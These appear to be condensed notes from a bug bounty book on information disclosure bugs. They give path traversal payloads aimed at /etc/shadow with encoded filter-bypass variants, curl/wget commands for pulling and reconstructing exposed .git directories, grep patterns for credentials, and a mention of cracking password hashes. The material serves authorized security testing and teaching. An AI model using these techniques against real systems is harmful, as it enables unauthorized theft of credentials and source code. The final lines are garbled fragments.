Source: Bug Bounty Bootcamp by Vickie Li
Information disclosure bugs occur when an application exposes data it shouldn't – version numbers, config files, source code, credentials, internal IPs, or users' private data. These bugs are among the most commonly found during bug bounty hunting.
Common leak sources: HTTP response headers (X-Powered-By: PHP/5.2.17), exposed .git directories, public GitHub/Pastebin posts, public HTML/JS files.
Manipulate file path parameters with ../ to escape the intended directory:
<code>
https://example.com/image?url=/images/../../../../../../../etc/shadow
```
Encoded variants if raw ../ is blocked:
<code>
%2e%2e%2f (URL encoding)
%252e%252e%255f (double URL encoding)
..%2f (partial encoding)
```
https://web.archive.org/web/*/DOMAIN/* – lists all archived URLs for a domain.
Search archived URLs for:
/admin endpoints.conf, .env configuration files.js, .php source filesDownload and grep archived pages for hardcoded credentials, hidden endpoints.
Developers use Pastebin and GitHub Gists to share code snippets; files are public by default. Search for the target organization's name, domain, or developer emails.
Tools:
./scrape.sh -g KEYWORD
Check if the .git directory is public:
<code>
https://example.com/.git (directory listing?)
curl https://example.com/.git/config (file accessible?)
```
If directory listing is enabled: download recursively: <code> wget -r example.com/.git ```
If listing is disabled but files are accessible: reconstruct manually.
Start with known files: <code> curl https://example.com/.git/HEAD
curl https://example.com/.git/refs/heads/master
curl https://example.com/.git/objects/0a/66452433322af3d319a377415a890c70bbd263
(download commit object)
git cat-file -p COMMIT_HASH
git cat-file -p TREE_HASH
curl https://example.com/.git/objects/BLOB_PREFIX/BLOB_SUFFIX
(download the blob)
```
Decompress downloaded object files (Git uses zlib): <code> ruby -rzlib -e 'print Zlib::Inflate.new.inflate(STDIN.read)' < OBJECT_FILE python3 -c 'import zlib, sys; print(zlib.decompress(sys.stdin.buffer.read()).decode())' < OBJECT_FILE ```
After reconstructing source code, grep for secrets: <code> grep -r “password|api_key|secret|token” . ```
Use TruffleHog or Gitleaks for entropy-based secret scanning.
password, api_key, secret, token, login/etc/shadow is readable: attempt to crack the hashes (hashcat, john)searchsploit, NVD)/etc/shadow or config files..git directory; reconstruct source code if found.